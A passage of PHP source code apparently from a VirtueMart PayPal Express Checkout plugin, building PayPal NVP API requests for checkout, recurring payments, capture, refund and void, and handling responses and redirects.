			$this->api_password = $this->_method->sandbox_api_password;
			$this->merchant_email = $this->_method->sandbox_merchant_email;
		} else {
			$this->api_login_id = $this->_method->api_login_id;
			$this->api_signature = $this->_method->api_signature;
			$this->api_certificate = $this->_method->api_certificate;
			$this->api_password = $this->_method->api_password;
			$this->merchant_email = $this->_method->paypal_merchant_email;
		}
		if ((!$this->ExpCredentialsValid() OR !$this->isAacceleratedOnboardingValid())) {
			$text = JText::sprintf('VMPAYMENT_PAYPAL_CREDENTIALS_NOT_SET', $this->_method->payment_name, $this->_method->virtuemart_paymentmethod_id);
			vmError($text, $text);
		}
		if (empty ($this->_method->expected_maxamount)) {
			$text = JText::sprintf('VMPAYMENT_PAYPAL_PARAMETER_REQUIRED', JText::_('VMPAYMENT_PAYPAL_EXPECTEDMAXAMOUNT'), $this->_method->payment_name, $this->_method->virtuemart_paymentmethod_id);
			vmError($text, $text);
		}

	}

	function expCredentialsValid() {
		return $this->api_login_id && $this->api_password && ($this->api_signature || $this->api_certificate);

	}

	/**
	 *      * Check if it is  Accelerated Boarding  possible for Express Checkout
	 * @return bool
	 */
	function isAacceleratedOnboarding() {
		return $this->_method->accelerated_onboarding;
	}
	/**
	 *      * Check if it is  Accelerated Boarding  possible for Express Checkout
	 * @return bool
	 */
	function isAacceleratedOnboardingValid() {
		if ($this->_method->accelerated_onboarding AND empty($this->merchant_email)) {
				return false;
		} else {
			return true;
		}
	}
	function initPostVariables($paypalMethod) {
		$post_variables = Array();
		$post_variables['METHOD'] = $paypalMethod;
		$post_variables['version'] = "104.0";
		// 104.0 required by Paypal
		//https://developer.paypal.com/webapps/developer/docs/classic/release-notes/
		$post_variables['USER'] = $this->api_login_id;
		$post_variables['PWD'] = $this->api_password;
		$post_variables['BUTTONSOURCE'] = self::BNCODE;;
		if ($this->api_signature) {
			$post_variables['SIGNATURE'] = $this->api_signature;
		}

		$post_variables['CURRENCYCODE'] = $this->currency_code_3;

		if (is_array($this->order) && is_object($this->order['details']['BT'])) {
			$post_variables['INVNUM'] = $this->order['details']['BT']->order_number;
		} else if (is_object($this->order)) {
			$post_variables['INVNUM'] = $this->order->order_number;
		}
		$post_variables['IPADDRESS'] = ($_SERVER['REMOTE_ADDR'] == '::1') ? '127.0.0.1' : $_SERVER['REMOTE_ADDR'];

		return $post_variables;
	}

	function addAcceleratedOnboarding(&$post_variables) {
		if ($this->_method->accelerated_onboarding) {
			$post_variables['SUBJECT'] = $this->merchant_email;
		}

	}

	function addBillTo(&$post_variables) {

		$addressBT = $this->order['details']['BT'];

		//Bill To
		$post_variables['FIRSTNAME'] = isset($addressBT->first_name) ? $this->truncate($addressBT->first_name, 50) : '';
		$post_variables['LASTNAME'] = isset($addressBT->last_name) ? $this->truncate($addressBT->last_name, 50) : '';
		$post_variables['STREET'] = isset($addressBT->address_1) ? $this->truncate($addressBT->address_1, 60) : '';
		$post_variables['CITY'] = isset($addressBT->city) ? $this->truncate($addressBT->city, 40) : '';
		$post_variables['ZIP'] = isset($addressBT->zip) ? $this->truncate($addressBT->zip, 40) : '';
		$post_variables['STATE'] = isset($addressBT->virtuemart_state_id) ? ShopFunctions::getStateByID($addressBT->virtuemart_state_id, 'state_2_code') : '';
		$post_variables['COUNTRYCODE'] = ShopFunctions::getCountryByID($addressBT->virtuemart_country_id, 'country_2_code');
	}

	function addShipTo(&$post_variables) {

		$addressST = ((isset($this->order['details']['ST'])) ? $this->order['details']['ST'] : $this->order['details']['BT']);

		//Ship To
		$post_variables['SHIPTONAME'] = isset($addressST->first_name) ? $this->truncate($addressST->first_name, 50) : '';
		$post_variables['SHIPTOSTREET'] = isset($addressST->first_name) ? $this->truncate($addressST->address_1, 60) : '';
		$post_variables['SHIPTOCITY'] = isset($addressST->city) ? $this->truncate($addressST->city, 40) : '';
		$post_variables['SHIPTOZIP'] = isset($addressST->zip) ? $this->truncate($addressST->zip, 40) : '';
		$post_variables['SHIPTOSTATE'] = isset($addressST->virtuemart_state_id) ? ShopFunctions::getStateByID($addressST->virtuemart_state_id, 'state_2_code') : '';
		$post_variables['SHIPTOCOUNTRYCODE'] = ShopFunctions::getCountryByID($addressST->virtuemart_country_id, 'country_2_code');
	}

	/**
	 * https://developer.paypal.com/webapps/developer/docs/classic/api/merchant/SetExpressCheckout_API_Operation_NVP/
	 * @param $post_variables
	 */
	function addPrices(&$post_variables) {

		$paymentCurrency = CurrencyDisplay::getInstance($this->_method->payment_currency);
		$i = 0;
		$taxAmount = 0;
		// Product prices
		if ($this->cart->products) {
			foreach ($this->cart->products as $key => $product) {
				$post_variables["L_PAYMENTREQUEST_0_NAME" . $i] = $this->getItemName($product->product_name);
				if ($product->product_sku) {
					$post_variables["L_PAYMENTREQUEST_0_NUMBER" . $i] = $product->product_sku;
				}
				$post_variables["L_PAYMENTREQUEST_0_AMT" . $i] = $this->getProductAmount($this->cart->pricesUnformatted[$key]);
				$post_variables["L_PAYMENTREQUEST_0_QTY" . $i] = $product->quantity;
				$i++;
			}
		}

		$post_variables["PAYMENTREQUEST_0_ITEMAMT"] = vmPSPlugin::getAmountValueInCurrency($this->cart->pricesUnformatted['salesPrice'], $this->_method->payment_currency);
		$salesPriceShipment = vmPSPlugin::getAmountValueInCurrency($this->cart->pricesUnformatted['salesPriceShipment'], $this->_method->payment_currency);
		if ($salesPriceShipment >= 0) {
			$post_variables["PAYMENTREQUEST_0_SHIPPINGAMT"] = $salesPriceShipment;
		} else {
			$post_variables["PAYMENTREQUEST_0_SHIPDISCAMT"] = $salesPriceShipment;
		}

		$handling = $this->getHandlingAmount();
		if (!empty($this->cart->pricesUnformatted['salesPriceCoupon'])) {
			$handling += vmPSPlugin::getAmountValueInCurrency($this->cart->pricesUnformatted['salesPriceCoupon'], $this->_method->payment_currency);
		}
		$post_variables["PAYMENTREQUEST_0_HANDLINGAMT"] = $handling;
		$post_variables['PAYMENTREQUEST_0_AMT'] = $this->total;
		$post_variables['PAYMENTREQUEST_0_CURRENCYCODE'] = $this->currency_code_3;

		$pricesCurrency = CurrencyDisplay::getInstance($this->cart->pricesCurrency);
	}

	function addToken(&$post_variables) {

		$post_variables['TOKEN'] = $this->customerData->getVar('token');
		$post_variables['PAYERID'] = $this->customerData->getVar('payer_id');
	}

	/*
	 * languages supported according to this https://cms.paypal.com/uk/cgi-bin/?cmd=_render-content&content_ID=developer/e_howto_api_ECCustomizing
	 */
	function getLocaleCode() {
		$jlang = JFactory::getLanguage();
		$tag = $jlang->getTag();
		$languageSpecific = array('da_DK', //', // – Danish (for Denmark only)
			'he_IL', //', // – Hebrew (all)
			'id_ID', //– Indonesian (for Indonesia only)
			'ja_JP', //', // – Japanese (for Japan only)
			'no_NO', //– Norwegian (for Norway only)
			'pt_BR', //', // – Brazilian Portuguese (for Portugal and Brazil only)
			'ru_RU', //', // – Russian (for Lithuania, Latvia, and Ukraine only)
			'sv_SE', //', // – Swedish (for Sweden only)
			'th_TH', //', // – Thai (for Thailand only)
			'tr_TR', //- //', // – Turkish (for Turkey only))
			'zh_CN', //– Simplified Chinese (for China only)
			'zh_HK', //– Traditional Chinese (for Hong Kong only)
			'zh_TW', // – Traditional Chinese (for Taiwan only)
		);
		if (in_array($tag, $languageSpecific)) {
			return $tag;
		}

		$paypalLanguages = array('AU',
			'AT', // Austria
			'BE', //',  Belgium
			'BR', //  Brazil
			'CA', // – Canada
			'CH', //  Switzerland
			'CN', // – China
			'DE', // – Germany
			'ES', // – Spain
			'GB', // – United Kingdom
			'FR', // – France
			'IT', // – Italy
			'NL', // – Netherlands
			'PL', // – Poland
			'PT', // – Portugal
			'RU', // – Russia
			'US', // – United States
		);
		$explode = explode("-", $tag);
		if (isset($explode[1])) {
			$country = $explode[1];
			if (in_array($country, $paypalLanguages)) {
				return $country;
			}
		}
		return "GB";

	}

	public function getToken() {

		$post_variables = $this->initPostVariables('SetExpressCheckout');
		$this->addAcceleratedOnboarding($post_variables);
		$this->addPrices($post_variables);

		$this->setTimeOut(self::TIMEOUT_SETEXPRESSCHECKOUT);
		$post_variables['PAYMENTREQUEST_0_CURRENCYCODE'] = $this->currency_code_3;

		$post_variables['RETURNURL'] =  JURI::root() . 'index.php?option=com_virtuemart&view=cart&task=setpayment&expresscheckout=done&virtuemart_paymentmethod_id=' . $this->_method->virtuemart_paymentmethod_id . '&Itemid=' . JRequest::getInt('Itemid'). '&lang='.JRequest::getCmd('lang','') ;

		$post_variables['CANCELURL'] = JURI::root() . 'index.php?option=com_virtuemart&view=cart&expresscheckout=cancel&Itemid=' . JRequest::getInt('Itemid') . '&lang='.JRequest::getCmd('lang','') ;
		//$post_variables['CANCELURL'] = substr(JURI::root(false,''),0,-1). JROUTE::_('index.php?option=com_virtuemart&view=pluginresponse&task=pluginUserPaymentCancel&expresscheckout=cancel');
		$post_variables['ADDROVERRIDE'] = $this->_method->address_override;
		$post_variables['NOSHIPPING'] = $this->_method->no_shipping;
		$post_variables['MAXAMT'] = $this->_method->expected_maxamount;

		$post_variables['LOGOIMG'] = $this->getLogoImage();
		//$this->debugLog($post_variables['LOGOIMG'], 'logoImg:', 'debug');

		$post_variables['LOCALECODE'] = $this->getLocaleCode();

		if ($this->_method->headerimg) {
			//$post_variables['HDRIMG'] = JURI::base()  . 'images/stories/virtuemart/payment/' . $this->_method->headerimg;
		}
		if ($this->_method->bordercolor) {
			$post_variables['CARTBORDERCOLOR'] = str_replace('#', '', strtoupper($this->_method->bordercolor));
			//$post_variables['PAYFLOWCOLOR'] = 'ff0033'; //str_replace('#','',strtoupper($this->_method->bordercolor));
		}


		if ($this->_method->payment_type == '_xclick-subscriptions') {
			$post_variables['L_BILLINGTYPE0'] = 'RecurringPayments';
			$post_variables['L_BILLINGAGREEMENTDESCRIPTION0'] = $this->getRecurringProfileDesc();
		} else {
			$post_variables['PAYMENTREQUEST_0_PAYMENTACTION'] = $this->getPaymentAction();
			// done in addPrices
			// Total of order, including shipping, handling, tax, and any other billing adjustments such as a credit due.
			// $post_variables['PAYMENTREQUEST_0_AMT'] = $this->total;
			// $post_variables['PAYMENTREQUEST_0_CURRENCYCODE'] = $this->currency_code_3;
		}


		$this->sendRequest($post_variables);
		$valid = $this->handleResponse();
		if ($valid) {
			$this->customerData->setVar('token', $this->response['TOKEN']);
			$this->customerData->save();
			$this->redirectToPayPal();
		} else {
			// already done in handleResponse()
			// $this->customerData->clear();
			return false;
		}
		return true;

	}

	public function getExpressCheckoutDetails() {

		$post_variables = $this->initPostVariables('GetExpressCheckoutDetails');
		$this->addAcceleratedOnboarding($post_variables);

		$this->setTimeOut(self::TIMEOUT_GETEXPRESSCHECKOUTDETAILS);

		$this->addToken($post_variables);

		$this->sendRequest($post_variables);
		if ($this->handleResponse()) {
			$this->customerData->setVar('payer_id', $this->response['PAYERID']);
			$this->customerData->setVar('first_name', $this->response['FIRSTNAME']);
			$this->customerData->setVar('last_name', $this->response['LASTNAME']);
			$this->customerData->setVar('payer_email', $this->response['EMAIL']);
			$this->customerData->setVar('paypal_response', $this->response);
			$this->customerData->save();
			$this->storeAddresses();
			return true;
		} else {
			return false;
		}
	}

	public function ManageLogin() {

	}

	public function ManageCheckout() {
		switch ($this->_method->payment_type) {
			case '_xclick':
				return $this->DoPayment();
			case '_xclick-subscriptions':
				return $this->CreateRecurringPaymentsProfile();
			case '_xclick-payment-plan':
				return $this->CreatePaymentPlanProfile();
		}
	}

	public function ManageCancelOrder($payment) {
		$this->RefundTransaction($payment);
		/*
		switch ($this->_method->payment_type) {
			case '_xclick':
				return $this->RefundTransaction($payment);
			case '_xclick-subscriptions':
			case '_xclick-payment-plan':
				return $this->ManageRecurringPaymentsProfileStatus($payment);
		}
		*/
	}

	public function DoPayment() {
		static $redirect = 0;
		$post_variables = $this->initPostVariables('DoExpressCheckoutPayment');
		$this->addAcceleratedOnboarding($post_variables);
		$this->addBillTo($post_variables);
		$this->addShipTo($post_variables);
		$this->addPrices($post_variables);


		$this->addToken($post_variables);

		$post_variables['PAYMENTREQUEST_0_CURRENCYCODE'] = $this->currency_code_3;
		$post_variables['PAYMENTREQUEST_0_PAYMENTACTION'] = $this->getPaymentAction();
		$post_variables['PAYMENTREQUEST_0_AMT'] = $this->total;

		$this->sendRequest($post_variables);
		// https://developer.paypal.com/webapps/developer/docs/classic/express-checkout/ht_ec_fundingfailure10486/
		$responseValid = $this->handleResponse();
		if (!$responseValid) {
			if ($this->response['L_ERRORCODE0'] == self::FRAUD_FAILURE_ERROR_CODE and $this->_method->payment_action == 'Sale' and $redirect <= 2) {
				$redirect++;
				// redirect buyer to PayPal
				$this->redirectToPayPal($post_variables['TOKEN']);
			}
			return false;
		}
		return true;
	}

	public function CreateRecurringPaymentsProfile() {
		//https://developer.paypal.com/webapps/developer/docs/classic/direct-payment/ht_dp-recurringPaymentProfile-curl-etc/
		//https://developer.paypal.com/webapps/developer/docs/classic/api/merchant/CreateRecurringPaymentsProfile_API_Operation_NVP/

		$post_variables = $this->initPostVariables('CreateRecurringPaymentsProfile');
		$this->addBillTo($post_variables);
		$this->addShipTo($post_variables);
		$this->addToken($post_variables);

		//$post_variables['SUBSCRIBERNAME']	= isset($addressBT->first_name) ? $this->truncate($addressBT->first_name, 50) : '';
		$post_variables['PROFILEREFERENCE'] = $this->order['details']['BT']->order_number;
		$post_variables['DESC'] = $this->getRecurringProfileDesc();

		$startDate = JFactory::getDate();
		$post_variables['PROFILESTARTDATE'] = $startDate->toISO8601();
		$post_variables['AUTOBILLOUTAMT'] = 'AddToNextBilling';


		$post_variables['BILLINGFREQUENCY'] = $this->getDurationValue($this->_method->subscription_duration);
		$post_variables['BILLINGPERIOD'] = $this->getDurationUnit($this->_method->subscription_duration);
		$post_variables['TOTALBILLINGCYCLES'] = $this->_method->subscription_term;

		if ($this->cart->pricesUnformatted['salesPricePayment']) {
			$post_variables['INITAMT'] = $this->cart->pricesUnformatted['salesPricePayment'];
			$post_variables['FAILEDINITAMTACTION'] = 'CancelOnFailure';
			$post_variables['AMT'] = $this->total - $this->cart->pricesUnformatted['salesPricePayment'];
		} else {
			$post_variables['AMT'] = $this->total;
		}

		if ($this->_method->subcription_trials) {
			$post_variables['TRIALBILLINGFREQUENCY'] = $this->getDurationValue($this->_method->trial1_duration);
			$post_variables['TRIALBILLINGPERIOD'] = $this->getDurationUnit($this->_method->trial1_duration);
			$post_variables['TRIALTOTALBILLINGCYCLES'] = $this->_method->subcription_trials;
			$post_variables['TRIALAMT'] = ($this->_method->trial1_price) ? $this->_method->trial1_price : 0;
		}

		$this->sendRequest($post_variables);
		return $this->handleResponse();
	}

	public function CreatePaymentPlanProfile() {
		//Payment plans are not implemented in the API.
		//A workaround is to create a subscription profile and divide the total amount by the term.

		$post_variables = $this->initPostVariables('CreateRecurringPaymentsProfile');
		$this->addBillTo($post_variables);
		$this->addShipTo($post_variables);
		$this->addToken($post_variables);

		//$post_variables['SUBSCRIBERNAME']	= isset($addressBT->first_name) ? $this->truncate($addressBT->first_name, 50) : '';
		$post_variables['PROFILEREFERENCE'] = $this->order['details']['BT']->order_number;
		$post_variables['DESC'] = $this->order['details']['BT']->order_number . ': ' . $this->getPaymentPlanDesc();

		if ($this->cart->pricesUnformatted['salesPricePayment'] && $this->cart->pricesUnformatted['salesPricePayment'] > 0) {
			$initAmount = $this->cart->pricesUnformatted['salesPricePayment'];
		} else {
			$initAmount = 0;
		}
		$occurence_amount = round(($this->total - $initAmount) / $this->_method->payment_plan_term, 2);
		if ($this->_method->payment_plan_defer == 2) {
			$initAmount += $occurence_amount;
			$occurences_count = $this->_method->payment_plan_term - 1;
		} else {
			$occurences_count = $this->_method->payment_plan_term;
		}

		if ($this->_method->payment_plan_defer && $this->_method->payment_plan_defer_strtotime) {
			$startDate = JFactory::getDate($this->_method->payment_plan_defer_strtotime);
		} else {
			$startDate = JFactory::getDate();
		}
		$post_variables['PROFILESTARTDATE'] = $startDate->toISO8601();
		$post_variables['AUTOBILLOUTAMT'] = 'AddToNextBilling';

		$post_variables['BILLINGFREQUENCY'] = $this->getDurationValue($this->_method->payment_plan_duration);
		$post_variables['BILLINGPERIOD'] = $this->getDurationUnit($this->_method->payment_plan_duration);
		$post_variables['TOTALBILLINGCYCLES'] = $occurences_count;

		if ($this->cart->pricesUnformatted['salesPricePayment'] && $this->cart->pricesUnformatted['salesPricePayment'] > 0) {
			$post_variables['INITAMT'] = $initAmount;
			$post_variables['FAILEDINITAMTACTION'] = 'CancelOnFailure';
		}
		$post_variables['AMT'] = $occurence_amount;

		$this->sendRequest($post_variables);
		return $this->handleResponse();
	}

	function GetRecurringPaymentsProfileDetails($profileId) {

		$post_variables = $this->initPostVariables('GetRecurringPaymentsProfileDetails');
		$post_variables['PROFILEID'] = $profileId;

		$this->sendRequest($post_variables);
		return $this->handleResponse();
	}

	function ManageRecurringPaymentsProfileStatus($payment) {

		$paypal_data = json_decode($payment->paypal_fullresponse);
		$post_variables = $this->initPostVariables('ManageRecurringPaymentsProfileStatus');
		$post_variables['PROFILEID'] = $paypal_data->PROFILEID;
		$post_variables['ACTION'] = 'Cancel';
		$post_variables['TOKEN'] = $paypal_data->TOKEN;
		$post_variables['PAYERID'] = $paypal_data->payer_id;

		$this->sendRequest($post_variables);
		$this->handleResponse();

		return $this->GetRecurringPaymentsProfileDetails($paypal_data->PROFILEID);
	}

	function DoCapture($payment) {

		$paypal_data = json_decode($payment->paypal_fullresponse);
		//Only capture payment if it still pending
		if (strcasecmp($paypal_data->PAYMENTINFO_0_PAYMENTSTATUS, 'Pending') != 0 && strcasecmp($paypal_data->PAYMENTINFO_0_PENDINGREASON, 'Authorization') != 0) {
			return false;
		}

		$post_variables = $this->initPostVariables('DoCapture');

		//Do we need to reauthorize ?

		$reauth = $this->doReauthorize($paypal_data->PAYMENTINFO_0_TRANSACTIONID, $paypal_data);
		if ($reauth === false) {
			$post_variables['AUTHORIZATIONID'] = $paypal_data->PAYMENTINFO_0_TRANSACTIONID;
		} else {
			$post_variables['AUTHORIZATIONID'] = $reauth;
		}

		$post_variables['TOKEN'] = $paypal_data->TOKEN;
		$post_variables['PAYERID'] = $paypal_data->payer_id;
		$post_variables['PAYMENTACTION'] = 'DoCapture';
		$post_variables['AMT'] = $this->total;
		$post_variables['COMPLETETYPE'] = 'Complete';

		$this->sendRequest($post_variables);
		$success = $this->handleResponse();
		if (!$success) {
			$this->doVoid($payment);
		}
		return $success;
	}

	function doReauthorize($AuthorizationID, $paypal_data) {
		// TODO
		return false;
		$post_variables = $this->initPostVariables('DoReauthorization');
		$post_variables['TOKEN'] = $paypal_data->TOKEN;
		$post_variables['PAYERID'] = $paypal_data->payer_id;
		$post_variables['AuthorizationID'] = $AuthorizationID;
		$post_variables['PAYMENTACTION'] = 'DoReauthorization';
		$post_variables['AMT'] = $this->total;
		$post_variables['CURRENCYCODE'] = $paypal_data->PAYMENTINFO_0_CURRENCYCODE;

		$this->sendRequest($post_variables);
		if ($this->handleResponse()) {
			return $this->response['AUTHORIZATIONID'];
		} else {

			$error = '';
			for ($i = 0; isset($this->response["L_ERRORCODE" . $i]); $i++) {
				$error .= $this->response["L_ERRORCODE" . $i];
				$message = isset($this->response["L_LONGMESSAGE" . $i]) ? $this->response["L_LONGMESSAGE" . $i] : $this->response["L_SHORTMESSAGE" . $i];
				$error .= ":" . $message . "<br />";
			}

			VmError($error);
			return false;
		}
	}

	function RefundTransaction($payment) {

		$paypal_data = json_decode($payment->paypal_fullresponse);
		if ($payment->paypal_response_payment_status == 'Completed') {
			$post_variables = $this->initPostVariables('RefundTransaction');
			$post_variables['REFUNDTYPE'] = 'Full';
		} else if ($payment->paypal_response_payment_status == 'Pending' && $payment->paypal_response_pending_reason == 'authorization') {
			$post_variables = $this->initPostVariables('DoVoid');
		} else {
			return false;
		}

		$post_variables['AuthorizationID'] = $payment->paypal_response_txn_id;
		$post_variables['TRANSACTIONID'] = $payment->paypal_response_txn_id;
		$post_variables['TOKEN'] = $paypal_data->TOKEN;
		$post_variables['PAYERID'] = $paypal_data->payer_id;

		$this->sendRequest($post_variables);
		return $this->handleResponse();
	}

	function doVoid($payment) {
		$paypal_data = json_decode($payment->paypal_fullresponse);
		$post_variables = $this->initPostVariables('DoVoid');
		$post_variables['AuthorizationID'] = $payment->paypal_response_txn_id;
		$post_variables['TRANSACTIONID'] = $payment->paypal_response_txn_id;
		$post_variables['TOKEN'] = $paypal_data->TOKEN;
		$post_variables['PAYERID'] = $paypal_data->payer_id;

		$this->sendRequest($post_variables);
		return $this->handleResponse();
	}

	function  isFraudDetected() {

		if ($this->response['ACK'] == 'SuccessWithWarning' &&
			$this->response['L_ERRORCODE0'] == self::FMF_PENDED_ERROR_CODE &&
			$this->response['PAYMENTSTATUS'] == "Pending"
		) {
			$this->debugLog($this->response, 'Fraud Detected', 'error');

			return true;
		} else {
			return false;
		}
	}

	function getNewOrderStatus() {
		if ($this->isFraudDetected()) {
			$new_status = $this->_method->status_fraud;
		} elseif ($this->_method->payment_action == 'Authorization' || $this->_method->payment_type == '_xclick-payment-plan' || $this->response['ACK'] == 'SuccessWithWarning' || $this->response['PAYMENTINFO_0_PAYMENTSTATUS'] == 'Pending') {
			$new_status = $this->_method->status_pending;
		} else {
			$new_status = $this->_method->status_success;
		}
		return $new_status;
	}

	/**
	 * How To Recover from Funding Failure Error Code 10486 in DoExpressCheckoutPayment
	 * https://developer.paypal.com/docs/classic/express-checkout/ht_ec_fundingfailure10486/
	 * @return bool
	 */
	function handleResponse() {
		if ($this->response) {
			if ($this->response['ACK'] == 'Failure' || $this->response['ACK'] == 'FailureWithWarning') {
				if ($this->response['L_ERRORCODE0'] != self::FRAUD_FAILURE_ERROR_CODE) {
					$this->customerData->clear();
				}
				$error = '';
				$public_error = '';

				for ($i = 0; isset($this->response["L_ERRORCODE" . $i]); $i++) {
					$error .= $this->response["L_ERRORCODE" . $i];
					$message = isset($this->response["L_LONGMESSAGE" . $i]) ? $this->response["L_LONGMESSAGE" . $i] : $this->response["L_SHORTMESSAGE" . $i];
					$error .= ": " . $message . "<br />";
				}
				if ($this->_method->debug) {
					$public_error = $error;
				}
				$this->debugLog($this->response, 'handleResponse:', 'debug');
				VmError($error, $public_error);

				return false;
			} elseif ($this->response['ACK'] == 'Success' || $this->response['ACK'] == 'SuccessWithWarning' || $this->response['TRANSACTIONID'] != NULL || $this->response['PAYMENTINFO_0_TRANSACTIONID'] != NULL) {
				return true;
			} else {
				// Unexpected ACK type. Log response and inform the buyer that the
				// transaction must be manually investigated.
				$error = '';
				$public_error = '';
				$error="Unexpected ACK type:". $this->response['ACK'];
				$this->debugLog($this->response, 'Unexpected ACK type:', 'debug');
				if ($this->_method->debug) {
					$public_error = $error;
				}
				VmError($error, $public_error);
				return false;
			}
		}
	}


	function storeAddresses() {
		$this->cart = VirtueMartCart::getCart();
		$addressST = $addressBT = array();
		if ($this->response['SHIPTONAME'] == $this->response['FIRSTNAME'] . ' ' . $this->response['LASTNAME']) {
			$firstName = $this->response['FIRSTNAME'];
			$lastName = $this->response['LASTNAME'];
		} else {
			$shipToName = explode(' ', $this->response['SHIPTONAME']);
			$firstName = $shipToName[0];
			$lastName = '';
			if (count($shipToName) > 1) {
				$lastName = str_replace($firstName . ' ', '', $this->response['SHIPTONAME']);
			}
		}
		if ($this->cart->BT == 0 or empty($this->cart->BT)) {
			$addressBT['email'] = $this->response['EMAIL'];
			$addressBT['first_name'] = $firstName;
			$addressBT['last_name'] = $lastName;
			$addressBT['address_1'] = $this->response['SHIPTOSTREET'];
			$addressBT['city'] = $this->response['SHIPTOCITY'];
			$addressBT['zip'] = $this->response['SHIPTOZIP'];
			$addressBT['virtuemart_state_id'] = ShopFunctions::getStateIDByName($this->response['SHIPTOSTATE']);
			$addressBT['virtuemart_country_id'] = ShopFunctions::getCountryIDByName($this->response['SHIPTOCOUNTRYCODE']);
			$this->cart->saveAddressInCart($addressBT, 'BT', true);
		}


		$addressST['shipto_address_type_name'] = 'PayPal Account';
		$addressST['shipto_first_name'] = $firstName;
		$addressST['shipto_last_name'] = $lastName;
		$addressST['shipto_address_1'] = $this->response['SHIPTOSTREET'];
		$addressST['shipto_city'] = $this->response['SHIPTOCITY'];
		$addressST['shipto_zip'] = $this->response['SHIPTOZIP'];
		$addressST['shipto_virtuemart_state_id'] = ShopFunctions::getStateIDByName($this->response['SHIPTOSTATE']);
		$addressST['shipto_virtuemart_country_id'] = ShopFunctions::getCountryIDByName($this->response['SHIPTOCOUNTRYCODE']);
		$this->cart->STsameAsBT = 0;
		$this->cart->setCartIntoSession ();
		$this->cart->saveAddressInCart($addressST, 'ST', true);


	}

	function storeNoteToSeller() {
		if (array_key_exists('PAYMENTREQUEST_0_NOTETEXT', $this->response)) {
			$this->cart = VirtueMartCart::getCart();
			$this->cart->customer_comment = $this->response['PAYMENTREQUEST_0_NOTETEXT'];
			$this->cart->setCartIntoSession();
		}
	}

	function storePayerId() {
		if (array_key_exists('PAYERID', $this->response)) {
			$this->customerData->setVar('payer_id', $this->response['PAYERID']);
			$this->customerData->save();
		}
	}

	function storePayerStatus() {
		if (array_key_exists('PAYERSTATUS', $this->response)) {
			$this->customerData->setVar('payerstatus', $this->response['PAYERSTATUS']);
			$this->customerData->save();
		}
	}

	function redirectToPayPal($token = '') {
		$useraction = '';
		if ($this->response['method'] == 'DoExpressCheckoutPayment') {
			$useraction = '&useraction=commit';
		}
		if (empty($token)) {
			$token = $this->response['TOKEN'];
		}
		jimport('joomla.environment.browser');
		$browser = JBrowser::getInstance();
		if ($browser->isMobile()) {
			$url = $this->_getPayPalUrl() . '?cmd=_express-checkout-mobile&token=' . $token . $useraction;
		} else {
			$url = $this->_getPayPalUrl() . '?cmd=_express-checkout&token=' . $token . $useraction;
		}

		if ($this->_method->debug) {
			echo '<div style="background-color:red;color:white;padding:10px;">The method is in debug mode. <a href="' . $url . '">Click here to be redirected to PayPal</a></div>';
			jexit();
		} else {
			//header('location: ' . $url);
			$app = JFactory::getApplication();
			$app->redirect($url);
		}
	}

	function validate($enqueueMessage = true) {
		//if (!$this->customerData->getVar('token') || $this->cart->virtuemart_paymentmethod_id != $this->customerData->getVar('selected_method')) {
		if (!$this->customerData->getVar('token')) {
			$this->getToken();
			//Code stops here as the getToken method should redirect to PayPal

		} elseif (!$this->customerData->getVar('payer_id')) {
			$this->customerData->clear();
			$this->getToken();

		} else {
			return parent::validate();
		}
	}

	function setExpressCheckout($enqueueMessage = true) {
		//if (!$this->customerData->getVar('token') || $this->cart->virtuemart_paymentmethod_id != $this->customerData->getVar('selected_method')) {
		// Checks if there is already a token. If not create one.

		if (!$this->customerData->getVar('token')) {
			$this->getToken();
			//Code stops here as the getToken method should redirect to PayPal
		} else {
			return parent::validate();
		}
		$success = $this->ManageCheckout(true);
		$response = $this->getResponse();
	}

	public function getResponse($withCustomerData = true) {
		$response = parent::getResponse();

		if (is_array($this->order) && is_object($this->order['details']['BT'])) {
			$response['invoice'] = $this->order['details']['BT']->order_number;
		} else if (is_object($this->order)) {
			$response['invoice'] = $this->order->order_number;
		}

		if ($withCustomerData) {
			$response['payer_id'] = $this->customerData->getVar('payer_id');
			$response['first_name'] = $this->customerData->getVar('first_name');
			$response['last_name'] = $this->customerData->getVar('last_name');
			$response['payer_email'] = $this->customerData->getVar('payer_email');
		}
		return $response;
	}


	function getExtraPluginInfo() {
		$extraInfo = '';

		//Are we coming back from Express Checkout?
		$expressCheckout = JRequest::getVar('expresscheckout', '');
		if ($expressCheckout == 'cancel') {
			$this->customerData->clear();
			if (!class_exists('VirtueMartCart')) {
				require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php');
			}
			$cart = VirtueMartCart::getCart();
			$cart->virtuemart_paymentmethod_id = 0;
			$cart->setCartIntoSession();
		}
		if (!$this->customerData->getVar('token')) {
			$this->getToken();
		} elseif ($expressCheckout == 'done') {
			$this->getExpressCheckoutDetails();
		}

		$extraInfo .= parent::getExtraPluginInfo();
		return $extraInfo;
	}


	protected function getDurationUnit($duration) {
		$parts = explode('-', $duration);
		switch ($parts[1]) {
			case 'D':
				return 'Day';
			case 'W':
				return 'Week';
			case 'M':
				return 'Month';
			case 'Y':
				return 'Year';
		}
	}

	/**
	 * Accelerated Onboarding only allowed for Sales Payment
	 * @return string
	 */
	function GetPaymentAction() {
		if ($this->isAacceleratedOnboarding()) {
			return 'Sale';
		} else {
			return $this->_method->payment_action;
		}
	}


	/**
	 * This page returns a 404 https://www.paypal.com/mx/cgi-bin/?cmd=xpt/Merchant/merchant/ExpressCheckoutButtonCode-outside
	 *
	 * code form here
	 * https://www.paypalobjects.com/IntegrationCenter/ic_express-buttons.html
	 * @return array
	 */
	function getExpressCheckoutButton() {
		$button = array();

		$lang = jFactory::getLanguage();
		$lang_iso = str_replace('-', '_', $lang->gettag());
		$available_buttons = array('en_US', 'en_GB', 'de_DE', 'es_ES', 'pl_PL', 'nl_NL', 'fr_FR', 'it_IT', 'zn_CN');
		if (!in_array($lang_iso, $available_buttons)) {
			$lang_iso = 'en_US';
		}
		// SetExpressCheckout
		$button['link'] = JURI::root() . 'index.php?option=com_virtuemart&view=plugin&type=vmpayment&name=' . $this->_method->payment_element . '&action=SetExpressCheckout&virtuemart_paymentmethod_id=' . $this->_method->virtuemart_paymentmethod_id;
		$button['img'] = JURI::root() . 'plugins/vmpayment/' . $this->_method->payment_element . '/' . $this->_method->payment_element . '/assets/images/PP_Buttons_CheckOut_119x24_v3.png';


		return $button;
	}

	function getExpressProduct() {

		$lang = jFactory::getLanguage();
		$lang_iso = str_replace('-', '_', $lang->gettag());
		$paypal_buttonurls = array('en_US' => 'https://www.paypal.com/en_US/i/logo/PayPal_mark_60x38.gif',
